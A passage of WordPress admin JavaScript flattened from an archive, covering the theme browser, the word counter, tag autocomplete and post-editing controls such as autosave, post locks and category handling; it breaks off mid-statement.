'"]' ).trigger( 'click' ); }); } }); /* * Handles sorting / browsing routes. * Also handles the root URL triggering a sort request * for `popular`, the default view. */ themes.router.on( 'route:sort', function( sort ) { if ( ! sort ) { sort = 'popular'; themes.router.navigate( themes.router.baseUrl( '?browse=popular' ), { replace: true } ); } self.view.sort( sort ); // Close the preview if open. if ( themes.preview ) { themes.preview.close(); } }); // The `search` route event. The router populates the input field. themes.router.on( 'route:search', function() { $( '.wp-filter-search' ).trigger( 'focus' ).trigger( 'keyup' ); }); this.extraRoutes(); }, extraRoutes: function() { return false; } }; // Ready... $( function() { if ( themes.isInstall ) { themes.RunInstaller.init(); } else { themes.Run.init(); } // Update the return param just in time. $( document.body ).on( 'click', '.load-customize', function() { var link = $( this ), urlParser = document.createElement( 'a' ); urlParser.href = link.prop( 'href' ); urlParser.search = $.param( _.extend( wp.customize.utils.parseQueryString( urlParser.search.substr( 1 ) ), { 'return': window.location.href } ) ); link.prop( 'href', urlParser.href ); }); $( '.broken-themes .delete-theme' ).on( 'click', function() { return confirm( _wpThemeSettings.settings.confirmDelete ); }); }); })( jQuery ); // Align theme browser thickbox. jQuery( function($) { window.tb_position = function() { var tbWindow = $('#TB_window'), width = $(window).width(), H = $(window).height(), W = ( 1040 < width ) ? 1040 : width, adminbar_height = 0; if ( $('#wpadminbar').length ) { adminbar_height = parseInt( $('#wpadminbar').css('height'), 10 ); } if ( tbWindow.length >= 1 ) { tbWindow.width( W - 50 ).height( H - 45 - adminbar_height ); $('#TB_iframeContent').width( W - 50 ).height( H - 75 - adminbar_height ); tbWindow.css({'margin-left': '-' + parseInt( ( ( W - 50 ) / 2 ), 10 ) + 'px'}); if ( typeof document.body.style.maxWidth !== 'undefined' ) { tbWindow.css({'top': 20 + adminbar_height + 'px', 'margin-top': '0'}); } } }; $(window).on( 'resize', function(){ tb_position(); }); }); word-count.js 0000644 00000017020 15222552267 0007213 0 ustar 00 /** * Word or character counting functionality. Count words or characters in a * provided text string. * * @namespace wp.utils * * @since 2.6.0 * @output wp-admin/js/word-count.js */ ( function() { /** * Word counting utility * * @namespace wp.utils.wordcounter * @memberof wp.utils * * @class * * @param {Object} settings Optional. Key-value object containing overrides for * settings. * @param {RegExp} settings.HTMLRegExp Optional. Regular expression to find HTML elements. * @param {RegExp} settings.HTMLcommentRegExp Optional. Regular expression to find HTML comments. * @param {RegExp} settings.spaceRegExp Optional. Regular expression to find irregular space * characters. * @param {RegExp} settings.HTMLEntityRegExp Optional. Regular expression to find HTML entities. * @param {RegExp} settings.connectorRegExp Optional. Regular expression to find connectors that * split words. * @param {RegExp} settings.removeRegExp Optional. Regular expression to find remove unwanted * characters to reduce false-positives. * @param {RegExp} settings.astralRegExp Optional. Regular expression to find unwanted * characters when searching for non-words. * @param {RegExp} settings.wordsRegExp Optional. Regular expression to find words by spaces. * @param {RegExp} settings.characters_excluding_spacesRegExp Optional. Regular expression to find characters which * are non-spaces. * @param {RegExp} settings.characters_including_spacesRegExp Optional. Regular expression to find characters * including spaces. * @param {RegExp} settings.shortcodesRegExp Optional. Regular expression to find shortcodes. * @param {Object} settings.l10n Optional. Localization object containing specific * configuration for the current localization. * @param {string} settings.l10n.type Optional. Method of finding words to count. * @param {Array} settings.l10n.shortcodes Optional. Array of shortcodes that should be removed * from the text. * * @return {void} */ function WordCounter( settings ) { var key, shortcodes; // Apply provided settings to object settings. if ( settings ) { for ( key in settings ) { // Only apply valid settings. if ( settings.hasOwnProperty( key ) ) { this.settings[ key ] = settings[ key ]; } } } shortcodes = this.settings.l10n.shortcodes; // If there are any localization shortcodes, add this as type in the settings. if ( shortcodes && shortcodes.length ) { this.settings.shortcodesRegExp = new RegExp( '\\[\\/?(?:' + shortcodes.join( '|' ) + ')[^\\]]*?\\]', 'g' ); } } // Default settings. WordCounter.prototype.settings = { HTMLRegExp: /<\/?[a-z][^>]*?>/gi, HTMLcommentRegExp: /<!--[\s\S]*?-->/g, spaceRegExp: / | /gi, HTMLEntityRegExp: /&\S+?;/g, // \u2014 = em-dash. connectorRegExp: /--|\u2014/g, // Characters to be removed from input text. removeRegExp: new RegExp( [ '[', // Basic Latin (extract). '\u0021-\u0040\u005B-\u0060\u007B-\u007E', // Latin-1 Supplement (extract). '\u0080-\u00BF\u00D7\u00F7', /* * The following range consists of: * General Punctuation * Superscripts and Subscripts * Currency Symbols * Combining Diacritical Marks for Symbols * Letterlike Symbols * Number Forms * Arrows * Mathematical Operators * Miscellaneous Technical * Control Pictures * Optical Character Recognition * Enclosed Alphanumerics * Box Drawing * Block Elements * Geometric Shapes * Miscellaneous Symbols * Dingbats * Miscellaneous Mathematical Symbols-A * Supplemental Arrows-A * Braille Patterns * Supplemental Arrows-B * Miscellaneous Mathematical Symbols-B * Supplemental Mathematical Operators * Miscellaneous Symbols and Arrows */ '\u2000-\u2BFF', // Supplemental Punctuation. '\u2E00-\u2E7F', ']' ].join( '' ), 'g' ), // Remove UTF-16 surrogate points, see https://en.wikipedia.org/wiki/UTF-16#U.2BD800_to_U.2BDFFF astralRegExp: /[\uD800-\uDBFF][\uDC00-\uDFFF]/g, wordsRegExp: /\S\s+/g, characters_excluding_spacesRegExp: /\S/g, /* * Match anything that is not a formatting character, excluding: * \f = form feed * \n = new line * \r = carriage return * \t = tab * \v = vertical tab * \u00AD = soft hyphen * \u2028 = line separator * \u2029 = paragraph separator */ characters_including_spacesRegExp: /[^\f\n\r\t\v\u00AD\u2028\u2029]/g, l10n: window.wordCountL10n || {} }; /** * Counts the number of words (or other specified type) in the specified text. * * @since 2.6.0 * * @memberof wp.utils.wordcounter * * @param {string} text Text to count elements in. * @param {string} type Optional. Specify type to use. * * @return {number} The number of items counted. */ WordCounter.prototype.count = function( text, type ) { var count = 0; // Use default type if none was provided. type = type || this.settings.l10n.type; // Sanitize type to one of three possibilities: 'words', 'characters_excluding_spaces' or 'characters_including_spaces'. if ( type !== 'characters_excluding_spaces' && type !== 'characters_including_spaces' ) { type = 'words'; } // If we have any text at all. if ( text ) { text = text + '\n'; // Replace all HTML with a new-line. text = text.replace( this.settings.HTMLRegExp, '\n' ); // Remove all HTML comments. text = text.replace( this.settings.HTMLcommentRegExp, '' ); // If a shortcode regular expression has been provided use it to remove shortcodes. if ( this.settings.shortcodesRegExp ) { text = text.replace( this.settings.shortcodesRegExp, '\n' ); } // Normalize non-breaking space to a normal space. text = text.replace( this.settings.spaceRegExp, ' ' ); if ( type === 'words' ) { // Remove HTML Entities. text = text.replace( this.settings.HTMLEntityRegExp, '' ); // Convert connectors to spaces to count attached text as words. text = text.replace( this.settings.connectorRegExp, ' ' ); // Remove unwanted characters. text = text.replace( this.settings.removeRegExp, '' ); } else { // Convert HTML Entities to "a". text = text.replace( this.settings.HTMLEntityRegExp, 'a' ); // Remove surrogate points. text = text.replace( this.settings.astralRegExp, 'a' ); } // Match with the selected type regular expression to count the items. text = text.match( this.settings[ type + 'RegExp' ] ); // If we have any matches, set the count to the number of items found. if ( text ) { count = text.length; } } return count; }; // Add the WordCounter to the WP Utils. window.wp = window.wp || {}; window.wp.utils = window.wp.utils || {}; window.wp.utils.WordCounter = WordCounter; } )(); tags-suggest.js 0000644 00000013213 15222552267 0007527 0 ustar 00 /** * Default settings for jQuery UI Autocomplete for use with non-hierarchical taxonomies. * * @output wp-admin/js/tags-suggest.js */ ( function( $ ) { var tempID = 0; var separator = wp.i18n._x( ',', 'tag delimiter' ) || ','; var __ = wp.i18n.__, _n = wp.i18n._n, sprintf = wp.i18n.sprintf; function split( val ) { return val.split( new RegExp( separator + '\\s*' ) ); } function getLast( term ) { return split( term ).pop(); } /** * Add UI Autocomplete to an input or textarea element with presets for use * with non-hierarchical taxonomies. * * Example: `$( element ).wpTagsSuggest( options )`. * * The taxonomy can be passed in a `data-wp-taxonomy` attribute on the element or * can be in `options.taxonomy`. * * @since 4.7.0 * * @param {Object} options Options that are passed to UI Autocomplete. Can be used to override the default settings. * @return {Object} jQuery instance. */ $.fn.wpTagsSuggest = function( options ) { var cache; var last; var $element = $( this ); // Do not initialize if the element doesn't exist. if ( ! $element.length ) { return this; } options = options || {}; var taxonomy = options.taxonomy || $element.attr( 'data-wp-taxonomy' ) || 'post_tag'; delete( options.taxonomy ); options = $.extend( { source: function( request, response ) { var term; if ( last === request.term ) { response( cache ); return; } term = getLast( request.term ); $.get( window.ajaxurl, { action: 'ajax-tag-search', tax: taxonomy, q: term, number: 20 } ).always( function() { $element.removeClass( 'ui-autocomplete-loading' ); // UI fails to remove this sometimes? } ).done( function( data ) { var tagName; var tags = []; if ( data ) { data = data.split( '\n' ); for ( tagName in data ) { var id = ++tempID; tags.push({ id: id, name: data[tagName] }); } cache = tags; response( tags ); } else { response( tags ); } } ); last = request.term; }, focus: function( event, ui ) { $element.attr( 'aria-activedescendant', 'wp-tags-autocomplete-' + ui.item.id ); // Don't empty the input field when using the arrow keys // to highlight items. See api.jqueryui.com/autocomplete/#event-focus event.preventDefault(); }, select: function( event, ui ) { var tags = split( $element.val() ); // Remove the last user input. tags.pop(); // Append the new tag and an empty element to get one more separator at the end. tags.push( ui.item.name, '' ); $element.val( tags.join( separator + ' ' ) ); if ( $.ui.keyCode.TAB === event.keyCode ) { // Audible confirmation message when a tag has been selected. window.wp.a11y.speak( wp.i18n.__( 'Term selected.' ), 'assertive' ); event.preventDefault(); } else if ( $.ui.keyCode.ENTER === event.keyCode ) { // If we're in the edit post Tags meta box, add the tag. if ( window.tagBox ) { window.tagBox.userAction = 'add'; window.tagBox.flushTags( $( this ).closest( '.tagsdiv' ) ); } // Do not close Quick Edit / Bulk Edit. event.preventDefault(); event.stopPropagation(); } return false; }, open: function() { $element.attr( 'aria-expanded', 'true' ); }, close: function() { $element.attr( 'aria-expanded', 'false' ); }, minLength: 2, position: { my: 'left top+2', at: 'left bottom', collision: 'none' }, messages: { noResults: __( 'No results found.' ), results: function( number ) { return sprintf( /* translators: %d: Number of search results found. */ _n( '%d result found. Use up and down arrow keys to navigate.', '%d results found. Use up and down arrow keys to navigate.', number ), number ); } } }, options ); $element.on( 'keydown', function() { $element.removeAttr( 'aria-activedescendant' ); } ); $element.autocomplete( options ); // Ensure the autocomplete instance exists. if ( ! $element.autocomplete( 'instance' ) ) { return this; } $element.autocomplete( 'instance' )._renderItem = function( ul, item ) { return $( '<li role="option" id="wp-tags-autocomplete-' + item.id + '">' ) .text( item.name ) .appendTo( ul ); }; $element.attr( { 'role': 'combobox', 'aria-autocomplete': 'list', 'aria-expanded': 'false', 'aria-owns': $element.autocomplete( 'widget' ).attr( 'id' ) } ) .on( 'focus', function() { var inputValue = split( $element.val() ).pop(); // Don't trigger a search if the field is empty. // Also, avoids screen readers announce `No search results`. if ( inputValue ) { $element.autocomplete( 'search' ); } } ); // Returns a jQuery object containing the menu element. $element.autocomplete( 'widget' ) .addClass( 'wp-tags-autocomplete' ) .attr( 'role', 'listbox' ) .removeAttr( 'tabindex' ) // Remove the `tabindex=0` attribute added by jQuery UI. /* * Looks like Safari and VoiceOver need an `aria-selected` attribute. See ticket #33301. * The `menufocus` and `menublur` events are the same events used to add and remove * the `ui-state-focus` CSS class on the menu items. See jQuery UI Menu Widget. */ .on( 'menufocus', function( event, ui ) { ui.item.attr( 'aria-selected', 'true' ); }) .on( 'menublur', function() { // The `menublur` event returns an object where the item is `null`, // so we need to find the active item with other means. $( this ).find( '[aria-selected="true"]' ).removeAttr( 'aria-selected' ); }); return this; }; }( jQuery ) ); post.js 0000644 00000117046 15222552267 0006110 0 ustar 00 /** * @file Contains all dynamic functionality needed on post and term pages. * * @output wp-admin/js/post.js */ /* global ajaxurl, wpAjax, postboxes, pagenow, tinymce, alert, deleteUserSetting, ClipboardJS */ /* global theList:true, theExtraList:true, getUserSetting, setUserSetting, commentReply, commentsBox */ /* global WPSetThumbnailHTML, wptitlehint */ // Backward compatibility: prevent fatal errors. window.makeSlugeditClickable = window.editPermalink = function(){}; // Make sure the wp object exists. window.wp = window.wp || {}; ( function( $ ) { var titleHasFocus = false, __ = wp.i18n.__; /** * Control loading of comments on the post and term edit pages. * * @type {{st: number, get: commentsBox.get, load: commentsBox.load}} * * @namespace commentsBox */ window.commentsBox = { // Comment offset to use when fetching new comments. st : 0, /** * Fetch comments using Ajax and display them in the box. * * @memberof commentsBox * * @param {number} total Total number of comments for this post. * @param {number} num Optional. Number of comments to fetch, defaults to 20. * @return {boolean} Always returns false. */ get : function(total, num) { var st = this.st, data; if ( ! num ) num = 20; this.st += num; this.total = total; $( '#commentsdiv .spinner' ).addClass( 'is-active' ); data = { 'action' : 'get-comments', 'mode' : 'single', '_ajax_nonce' : $('#add_comment_nonce').val(), 'p' : $('#post_ID').val(), 'start' : st, 'number' : num }; $.post( ajaxurl, data, function(r) { r = wpAjax.parseAjaxResponse(r); $('#commentsdiv .widefat').show(); $( '#commentsdiv .spinner' ).removeClass( 'is-active' ); if ( 'object' == typeof r && r.responses[0] ) { $('#the-comment-list').append( r.responses[0].data ); theList = theExtraList = null; $( 'a[className*=\':\']' ).off(); // If the offset is over the total number of comments we cannot fetch any more, so hide the button. if ( commentsBox.st > commentsBox.total ) $('#show-comments').hide(); else $('#show-comments').show().children('a').text( __( 'Show more comments' ) ); return; } else if ( 1 == r ) { $('#show-comments').text( __( 'No more comments found.' ) ); return; } $('#the-comment-list').append('<tr><td colspan="2">'+wpAjax.broken+'</td></tr>'); } ); return false; }, /** * Load the next batch of comments. * * @memberof commentsBox * * @param {number} total Total number of comments to load. */ load: function(total){ this.st = jQuery('#the-comment-list tr.comment:visible').length; this.get(total); } }; /** * Overwrite the content of the Featured Image postbox * * @param {string} html New HTML to be displayed in the content area of the postbox. * * @global */ window.WPSetThumbnailHTML = function(html){ $('.inside', '#postimagediv').html(html); }; /** * Set the Image ID of the Featured Image * * @param {number} id The post_id of the image to use as Featured Image. * * @global */ window.WPSetThumbnailID = function(id){ var field = $('input[value="_thumbnail_id"]', '#list-table'); if ( field.length > 0 ) { $('#meta\\[' + field.attr('id').match(/[0-9]+/) + '\\]\\[value\\]').text(id); } }; /** * Remove the Featured Image * * @param {string} nonce Nonce to use in the request. * * @global */ window.WPRemoveThumbnail = function(nonce){ $.post( ajaxurl, { action: 'set-post-thumbnail', post_id: $( '#post_ID' ).val(), thumbnail_id: -1, _ajax_nonce: nonce, cookie: encodeURIComponent( document.cookie ) }, /** * Handle server response * * @param {string} str Response, will be '0' when an error occurred otherwise contains link to add Featured Image. */ function(str){ if ( str == '0' ) { alert( __( 'Could not set that as the thumbnail image. Try a different attachment.' ) ); } else { WPSetThumbnailHTML(str); } } ); }; /** * Heartbeat locks. * * Used to lock editing of an object by only one user at a time. * * When the user does not send a heartbeat in a heartbeat-time * the user is no longer editing and another user can start editing. */ $(document).on( 'heartbeat-send.refresh-lock', function( e, data ) { var lock = $('#active_post_lock').val(), post_id = $('#post_ID').val(), send = {}; if ( ! post_id || ! $('#post-lock-dialog').length ) return; send.post_id = post_id; if ( lock ) send.lock = lock; data['wp-refresh-post-lock'] = send; }).on( 'heartbeat-tick.refresh-lock', function( e, data ) { // Post locks: update the lock string or show the dialog if somebody has taken over editing. var received, wrap, avatar; if ( data['wp-refresh-post-lock'] ) { received = data['wp-refresh-post-lock']; if ( received.lock_error ) { // Show "editing taken over" message. wrap = $('#post-lock-dialog'); if ( wrap.length && ! wrap.is(':visible') ) { if ( wp.autosave ) { // Save the latest changes and disable. $(document).one( 'heartbeat-tick', function() { wp.autosave.server.suspend(); wrap.removeClass('saving').addClass('saved'); $(window).off( 'beforeunload.edit-post' ); }); wrap.addClass('saving'); wp.autosave.server.triggerSave(); } if ( received.lock_error.avatar_src ) { avatar = $( '<img />', { 'class': 'avatar avatar-64 photo', width: 64, height: 64, alt: '', src: received.lock_error.avatar_src, srcset: received.lock_error.avatar_src_2x ? received.lock_error.avatar_src_2x + ' 2x' : undefined } ); wrap.find('div.post-locked-avatar').empty().append( avatar ); } wrap.show().find('.currently-editing').text( received.lock_error.text ); wrap.find('.wp-tab-first').trigger( 'focus' ); } } else if ( received.new_lock ) { $('#active_post_lock').val( received.new_lock ); } } }).on( 'before-autosave.update-post-slug', function() { titleHasFocus = document.activeElement && document.activeElement.id === 'title'; }).on( 'after-autosave.update-post-slug', function() { /* * Create slug area only if not already there * and the title field was not focused (user was not typing a title) when autosave ran. */ if ( ! $('#edit-slug-box > *').length && ! titleHasFocus ) { $.post( ajaxurl, { action: 'sample-permalink', post_id: $('#post_ID').val(), new_title: $('#title').val(), samplepermalinknonce: $('#samplepermalinknonce').val() }, function( data ) { if ( data != '-1' ) { $('#edit-slug-box').html(data); } } ); } }); }(jQuery)); /** * Heartbeat refresh nonces. */ (function($) { var check, timeout; /** * Only allow to check for nonce refresh every 30 seconds. */ function schedule() { check = false; window.clearTimeout( timeout ); timeout = window.setTimeout( function(){ check = true; }, 300000 ); } $( function() { schedule(); }).on( 'heartbeat-send.wp-refresh-nonces', function( e, data ) { var post_id, $authCheck = $('#wp-auth-check-wrap'); if ( check || ( $authCheck.length && ! $authCheck.hasClass( 'hidden' ) ) ) { if ( ( post_id = $('#post_ID').val() ) && $('#_wpnonce').val() ) { data['wp-refresh-post-nonces'] = { post_id: post_id }; } } }).on( 'heartbeat-tick.wp-refresh-nonces', function( e, data ) { var nonces = data['wp-refresh-post-nonces']; if ( nonces ) { schedule(); if ( nonces.replace ) { $.each( nonces.replace, function( selector, value ) { $( '#' + selector ).val( value ); }); } if ( nonces.heartbeatNonce ) window.heartbeatSettings.nonce = nonces.heartbeatNonce; } }); }(jQuery)); /** * All post and postbox controls and functionality. */ jQuery( function($) { var stamp, visibility, $submitButtons, updateVisibility, updateText, $textarea = $('#content'), $document = $(document), postId = $('#post_ID').val() || 0, $submitpost = $('#submitpost'), releaseLock = true, $postVisibilitySelect = $('#post-visibility-select'), $timestampdiv = $('#timestampdiv'), $postStatusSelect = $('#post-status-select'), isMac = window.navigator.platform ? window.navigator.platform.indexOf( 'Mac' ) !== -1 : false, copyAttachmentURLClipboard = new ClipboardJS( '.copy-attachment-url.edit-media' ), copyAttachmentURLSuccessTimeout, __ = wp.i18n.__, _x = wp.i18n._x; postboxes.add_postbox_toggles(pagenow); /* * Clear the window name. Otherwise if this is a former preview window where the user navigated to edit another post, * and the first post is still being edited, clicking Preview there will use this window to show the preview. */ window.name = ''; // Post locks: contain focus inside the dialog. If the dialog is shown, focus the first item. $('#post-lock-dialog .notification-dialog').on( 'keydown', function(e) { // Don't do anything when [Tab] is pressed. if ( e.which != 9 ) return; var target = $(e.target); // [Shift] + [Tab] on first tab cycles back to last tab. if ( target.hasClass('wp-tab-first') && e.shiftKey ) { $(this).find('.wp-tab-last').trigger( 'focus' ); e.preventDefault(); // [Tab] on last tab cycles back to first tab. } else if ( target.hasClass('wp-tab-last') && ! e.shiftKey ) { $(this).find('.wp-tab-first').trigger( 'focus' ); e.preventDefault(); } }).filter(':visible').find('.wp-tab-first').trigger( 'focus' ); // Set the heartbeat interval to 10 seconds if post lock dialogs are enabled. if ( wp.heartbeat && $('#post-lock-dialog').length ) { wp.heartbeat.interval( 10 ); } // The form is being submitted by the user. $submitButtons = $submitpost.find( ':submit, a.submitdelete, #post-preview' ).on( 'click.edit-post', function( event ) { var $button = $(this); if ( $button.hasClass('disabled') ) { event.preventDefault(); return; } if ( $button.hasClass('submitdelete') || $button.is( '#post-preview' ) ) { return; } // The form submission can be blocked from JS or by using HTML 5.0 validation on some fields. // Run this only on an actual 'submit'. $('form#post').off( 'submit.edit-post' ).on( 'submit.edit-post', function( event ) { if ( event.isDefaultPrevented() ) { return; } // Stop auto save. if ( wp.autosave ) { wp.autosave.server.suspend(); } if ( typeof commentReply !== 'undefined' ) { /* * Warn the user they have an unsaved comment before submitting * the post data for update. */ if ( ! commentReply.discardCommentChanges() ) { return false; } /* * Close the comment edit/reply form if open to stop the form * action from interfering with the post's form action. */ commentReply.close(); } releaseLock = false; $(window).off( 'beforeunload.edit-post' ); $submitButtons.addClass( 'disabled' ); if ( $button.attr('id') === 'publish' ) { $submitpost.find( '#major-publishing-actions .spinner' ).addClass( 'is-active' ); } else { $submitpost.find( '#minor-publishing .spinner' ).addClass( 'is-active' ); } }); }); // Submit the form saving a draft or an autosave, and show a preview in a new tab. $('#post-preview').on( 'click.post-preview', function( event ) { var $this = $(this), $form = $('form#post'), $previewField = $('input#wp-preview'), target = $this.attr('target') || 'wp-preview', ua = navigator.userAgent.toLowerCase(); event.preventDefault(); if ( $this.hasClass('disabled') ) { return; } if ( wp.autosave ) { wp.autosave.server.tempBlockSave(); } $previewField.val('dopreview'); $form.attr( 'target', target ).trigger( 'submit' ).attr( 'target', '' ); // Workaround for WebKit bug preventing a form submitting twice to the same action. // https://bugs.webkit.org/show_bug.cgi?id=28633 if ( ua.indexOf('safari') !== -1 && ua.indexOf('chrome') === -1 ) { $form.attr( 'action', function( index, value ) { return value + '?t=' + ( new Date() ).getTime(); }); } $previewField.val(''); }); // Auto save new posts after a title is typed. if ( $( '#auto_draft' ).val() ) { $( '#title' ).on( 'blur', function() { var cancel; if ( ! this.value || $('#edit-slug-box > *').length ) { return; } // Cancel the auto save when the blur was triggered by the user submitting the form. $('form#post').one( 'submit', function() { cancel = true; }); window.setTimeout( function() { if ( ! cancel && wp.autosave ) { wp.autosave.server.triggerSave(); } }, 200 ); }); } $document.on( 'autosave-disable-buttons.edit-post', function() { $submitButtons.addClass( 'disabled' ); }).on( 'autosave-enable-buttons.edit-post', function() { if ( ! wp.heartbeat || ! wp.heartbeat.hasConnectionError() ) { $submitButtons.removeClass( 'disabled' ); } }).on( 'before-autosave.edit-post', function() { $( '.autosave-message' ).text( __( 'Saving Draft…' ) ); }).on( 'after-autosave.edit-post', function( event, data ) { $( '.autosave-message' ).text( data.message ); if ( $( document.body ).hasClass( 'post-new-php' ) ) { $( '.submitbox .submitdelete' ).show(); } }); /* * When the user is trying to load another page, or reloads current page * show a confirmation dialog when there are unsaved changes. */ $( window ).on( 'beforeunload.edit-post', function( event ) { var editor = window.tinymce && window.tinymce.get( 'content' ); var changed = false; if ( wp.autosave ) { changed = wp.autosave.server.postChanged(); } else if ( editor ) { changed = ( ! editor.isHidden() && editor.isDirty() ); } if ( changed ) { event.preventDefault(); // The return string is needed for browser compat. // See https://developer.mozilla.org/en-US/docs/Web/API/Window/beforeunload_event. return __( 'The changes you made will be lost if you navigate away from this page.' ); } }).on( 'pagehide.edit-post', function( event ) { if ( ! releaseLock ) { return; } /* * Unload is triggered (by hand) on removing the Thickbox iframe. * Make sure we process only the main document unload. */ if ( event.target && event.target.nodeName != '#document' ) { return; } var postID = $('#post_ID').val(); var postLock = $('#active_post_lock').val(); if ( ! postID || ! postLock ) { return; } var data = { action: 'wp-remove-post-lock', _wpnonce: $('#_wpnonce').val(), post_ID: postID, active_post_lock: postLock }; if ( window.FormData && window.navigator.sendBeacon ) { var formData = new window.FormData(); $.each( data, function( key, value ) { formData.append( key, value ); }); if ( window.navigator.sendBeacon( ajaxurl, formData ) ) { return; } } // Fall back to a synchronous POST request. // See https://developer.mozilla.org/en-US/docs/Web/API/Navigator/sendBeacon $.post({ async: false, data: data, url: ajaxurl }); }); // Multiple taxonomies. if ( $('#tagsdiv-post_tag').length ) { window.tagBox && window.tagBox.init(); } else { $('.meta-box-sortables').children('div.postbox').each(function(){ if ( this.id.indexOf('tagsdiv-') === 0 ) { window.tagBox && window.tagBox.init(); return false; } }); } // Handle categories. $('.categorydiv').each( function(){ var this_id = $(this).attr('id'), catAddBefore, catAddAfter, taxonomyParts, taxonomy, settingName; taxonomyParts = this_id.split('-'); taxonomyParts.shift(); taxonomy = taxonomyParts.join('-'); settingName = taxonomy + '_tab'; if ( taxonomy == 'category' ) { settingName = 'cats'; } // @todo Move to jQuery 1.3+, support for multiple hierarchical taxonomies, see wp-lists.js. $('a', '#' + taxonomy + '-tabs').on( 'click keyup keydown', function( event ) { var t = $(this).attr('href'); if ( event.type === 'keydown' && event.key === ' ' ) { event.preventDefault(); } if ( ( event.type === 'keyup' && event.key === ' ' ) || ( event.type === 'keydown' && event.key === 'Enter' ) || event.type === 'click' ) { event.preventDefault(); $('#' + taxonomy + '-tabs a').removeAttr( 'aria-selected' ).attr( 'tabindex', '-1' ); $(this).attr( 'aria-selected', 'true' ).removeAttr( 'tabindex' ); $(this).parent().addClass('tabs').siblings('li').removeClass('tabs'); $('#' + taxonomy + '-tabs').siblings('.tabs-panel').hide(); $(t).show(); if ( '#' + taxonomy + '-all' == t ) { deleteUserSetting( settingName ); } else { setUserSetting( settingName, 'pop' ); } } if ( event.type === 'keyup' && ( event.key === 'ArrowRight' || event.key === 'ArrowLeft' ) ) { $(this).attr( 'tabindex', '-1' ); let next = $(this).parent('li').next(); let prev = $(this).parent('li').prev(); if ( next.length > 0 ) { next.find('a').removeAttr( 'tabindex'); next.find('a').trigger( 'focus' ); } else { prev.find('a').removeAttr( 'tabindex'); prev.find('a').trigger( 'focus' ); } } }); if ( getUserSetting( settingName ) ) $('a[href="#' + taxonomy + '-pop"]', '#' + taxonomy + '-tabs').trigger( 'click' ); // Add category button controls. $('#new' + taxonomy).one( 'focus', function() { $( this ).val( '' ).removeClass( 'form-input-tip' ); }); // On [Enter] submit the taxonomy. $('#new' + taxonomy).on( 'keypress', function(event){ if( 13 === event.keyCode ) { event.preventDefault(); $('#' + taxonomy + '-add-submit').trigger( 'click' ); } }); // After submitting a new taxonomy, re-focus the input field. $('#' + taxonomy + '-add-submit').on( 'click', function() { $('#new' + taxonomy).trigger( 'focus' ); }); /** * Before adding a new taxonomy, disable submit button. * * @param {Object} s Taxonomy object which will be added. * * @return {Object} */ catAddBefore = function( s ) { if ( !$('#new'+taxonomy).val() ) { return false; } s.data += '&' + $( ':checked', '#'+taxonomy+'checklist' ).serialize(); $( '#' + taxonomy + '-add-submit' ).prop( 'disabled', true ); return s; }; /** * Re-enable submit button after a taxonomy has been added. * * Re-enable submit button. * If the taxonomy has a parent place the taxonomy underneath the parent. * * @param {Object} r Response. * @param {Object} s Taxonomy data. * * @return {void} */ catAddAfter = function( r, s ) { var sup, drop = $('#new'+taxonomy+'_parent'); $( '#' + taxonomy + '-add-submit' ).prop( 'disabled', false ); if ( 'undefined' != s.parsed.responses[0] && (sup = s.parsed.responses[0].supplemental.newcat_parent) ) { drop.before(sup); drop.remove(); } }; $('#' + taxonomy + 'checklist').wpList({ alt: '', response: taxonomy + '-ajax-response', addBefore: catAddBefore, addAfter: catAddAfter }); // Add new taxonomy button toggles input form visibility. $('#' + taxonomy + '-add-toggle').on( 'click', function( e ) { e.preventDefault(); $('#' + taxonomy + '-adder').toggleClass( 'wp-hidden-children' ); $('a[href="#' + taxonomy + '-all"]', '#' + taxonomy + '-tabs').trigger( 'click' ); $('#new'+taxonomy).trigger( 'focus' ); }); // Sync checked items between "All {taxonomy}" and "Most used" lists. $('#' + taxonomy + 'checklist, #' + taxonomy + 'checklist-pop').on( 'click', 'li.popular-category > label input[type="checkbox"]', function() { var t = $(this), c = t.is(':checked'), id = t.val(); if ( id && t.parents('#taxonomy-'+taxonomy).length ) { $('input#in-' + taxonomy + '-' + id + ', input[id^="in-' + taxonomy + '-' + id + '-"]').prop('checked', c); $('input#in-popular-' + taxonomy + '-' + id).prop('checked', c); } } ); }); // End cats. // Custom Fields postbox. if ( $('#postcustom').length ) { $( '#the-list' ).wpList( { /** * Add current post_ID to request to fetch custom fields * * @ignore * * @param {Object} s Request object. * * @return {Object} Data modified with post_ID attached. */ addBefore: function( s ) { s.data += '&post_id=' + $('#post_ID').val(); return s; }, /** * Show the listing of custom fields after fetching. * * @ignore */ addAfter: function() { $('table#list-table').show(); } }); } /* * Publish Post box (#submitdiv) */ if ( $('#submitdiv').length ) { stamp = $('#timestamp').html(); visibility = $('#post-visibility-display').html(); /** * When the visibility of a post changes sub-options should be shown or hidden. * * @ignore * * @return {void} */ updateVisibility = function() { // Show sticky for public posts. if ( $postVisibilitySelect.find('input:radio:checked').val() != 'public' ) { $('#sticky').prop('checked', false); $('#sticky-span').hide(); } else { $('#sticky-span').show(); } // Show password input field for password protected post. if ( $postVisibilitySelect.find('input:radio:checked').val() != 'password' ) { $('#password-span').hide(); } else { $('#password-span').show(); } }; /** * Make sure all labels represent the current settings. * * @ignore * * @return {boolean} False when an invalid timestamp has been selected, otherwise True. */ updateText = function() { if ( ! $timestampdiv.length ) return true; var attemptedDate, originalDate, currentDate, publishOn, postStatus = $('#post_status'), optPublish = $('option[value="publish"]', postStatus), aa = $('#aa').val(), mm = $('#mm').val(), jj = $('#jj').val(), hh = $('#hh').val(), mn = $('#mn').val(); attemptedDate = new Date( aa, mm - 1, jj, hh, mn ); originalDate = new Date( $('#hidden_aa').val(), $('#hidden_mm').val() -1, $('#hidden_jj').val(), $('#hidden_hh').val(), $('#hidden_mn').val() ); currentDate = new Date( $('#cur_aa').val(), $('#cur_mm').val() -1, $('#cur_jj').val(), $('#cur_hh').val(), $('#cur_mn').val() ); // Catch unexpected date problems. if ( attemptedDate.getFullYear() != aa || (1 + attemptedDate.getMonth()) != mm || attemptedDate.getDate() != jj || attemptedDate.getMinutes() != mn ) { $timestampdiv.find('.timestamp-wrap').addClass('form-invalid'); return false; } else { $timestampdiv.find('.timestamp-wrap').removeClass('form-invalid'); } // Determine what the publish should be depending on the date and post status. if ( attemptedDate > currentDate ) { publishOn = __( 'Schedule for:' ); $('#publish').val( _x( 'Schedule', 'post action/button label' ) ); } else if ( attemptedDate <= currentDate && $('#original_post_status').val() != 'publish' ) { publishOn = __( 'Publish on:' ); $('#publish').val( __( 'Publish' ) ); } else { publishOn = __( 'Published on:' ); $('#publish').val( __( 'Update' ) ); } // If the date is the same, set it to trigger update events. if ( originalDate.toUTCString() == 